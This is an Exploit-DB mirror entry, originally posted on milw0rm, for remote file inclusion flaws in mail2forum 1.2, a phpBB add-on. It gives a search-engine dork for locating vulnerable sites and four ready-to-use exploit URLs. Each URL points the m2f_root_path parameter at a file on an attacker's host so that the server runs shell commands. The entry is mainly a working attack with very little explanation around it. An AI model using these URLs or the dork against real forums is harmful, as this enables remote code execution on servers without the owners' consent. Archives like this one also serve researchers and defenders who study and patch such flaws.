mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 22:11:29 -10:00
27 lines
1003 B
Plaintext
Executable File
27 lines
1003 B
Plaintext
Executable File
Title : mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities
|
|
|
|
###############################################################################
|
|
|
|
Discovered By OLiBekaS
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Affected software description :
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : mail for phpbb (bulletin board/forum software)
|
|
version : latest version [ 1.2 ]
|
|
URL : http://www.www.mail2forum.com
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
dork : allinurl:/m2f_usercp.php?
|
|
|
|
Exploit :
|
|
http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
|
|
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
|
|
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
|
|
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
|
|
|
|
# milw0rm.com [2006-07-17]
|